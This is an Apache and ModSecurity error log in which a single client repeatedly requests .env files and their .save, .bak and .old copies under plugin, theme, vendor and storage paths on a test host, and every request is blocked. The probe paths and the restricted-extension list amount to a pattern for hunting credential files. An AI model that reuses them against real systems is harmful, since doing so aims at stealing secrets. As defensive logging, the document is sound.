[Sun Oct 26 01:25:35.391402 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.save"] [unique_id "aP1cbxXkZeq6T3EwQbX-zQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:35.391656 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.save"] [unique_id "aP1cbxXkZeq6T3EwQbX-zQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:35.391866 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.save"] [unique_id "aP1cbxXkZeq6T3EwQbX-zQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:35.997862 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aP1cbxXkZeq6T3EwQbX-zgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:35.998069 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aP1cbxXkZeq6T3EwQbX-zgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:35.998373 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aP1cbxXkZeq6T3EwQbX-zgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:35.998592 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aP1cbxXkZeq6T3EwQbX-zgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:36.603564 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aP1ccBXkZeq6T3EwQbX-zwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:36.603776 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aP1ccBXkZeq6T3EwQbX-zwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:36.604006 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aP1ccBXkZeq6T3EwQbX-zwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:36.604182 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aP1ccBXkZeq6T3EwQbX-zwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:37.229199 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aP1ccRXkZeq6T3EwQbX-0AAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:37.229469 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aP1ccRXkZeq6T3EwQbX-0AAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:37.229732 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aP1ccRXkZeq6T3EwQbX-0AAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:37.835041 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.save"] [unique_id "aP1ccRXkZeq6T3EwQbX-0QAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:37.835300 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.save"] [unique_id "aP1ccRXkZeq6T3EwQbX-0QAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:37.835821 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.save"] [unique_id "aP1ccRXkZeq6T3EwQbX-0QAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:38.440881 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aP1cchXkZeq6T3EwQbX-0gAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:38.441079 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aP1cchXkZeq6T3EwQbX-0gAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:38.441318 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aP1cchXkZeq6T3EwQbX-0gAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:38.441508 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aP1cchXkZeq6T3EwQbX-0gAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:39.049822 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aP1ccxXkZeq6T3EwQbX-0wAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:39.050031 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aP1ccxXkZeq6T3EwQbX-0wAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:39.050267 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aP1ccxXkZeq6T3EwQbX-0wAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:39.050486 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aP1ccxXkZeq6T3EwQbX-0wAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:39.657436 2025] [authz_core:error] [pid 3767666] [client 3.107.185.28:37518] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env, referer: https://www.google.com/
[Sun Oct 26 01:25:40.263486 2025] [authz_core:error] [pid 3767666] [client 3.107.185.28:37518] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env.save, referer: https://www.google.com/
[Sun Oct 26 01:25:40.877204 2025] [authz_core:error] [pid 3767666] [client 3.107.185.28:37518] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env.bak, referer: https://www.google.com/
[Sun Oct 26 01:25:41.494710 2025] [authz_core:error] [pid 3767666] [client 3.107.185.28:37518] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env.old, referer: https://www.google.com/
[Sun Oct 26 01:25:42.141445 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aP1cdhXkZeq6T3EwQbX-2AAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:42.141702 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aP1cdhXkZeq6T3EwQbX-2AAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:42.141886 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aP1cdhXkZeq6T3EwQbX-2AAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:42.747089 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.save"] [unique_id "aP1cdhXkZeq6T3EwQbX-2QAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:42.747336 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.save"] [unique_id "aP1cdhXkZeq6T3EwQbX-2QAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:42.747530 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.save"] [unique_id "aP1cdhXkZeq6T3EwQbX-2QAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:43.352879 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aP1cdxXkZeq6T3EwQbX-2gAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:43.353101 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aP1cdxXkZeq6T3EwQbX-2gAAAAY"], referer: https://www.google.com/
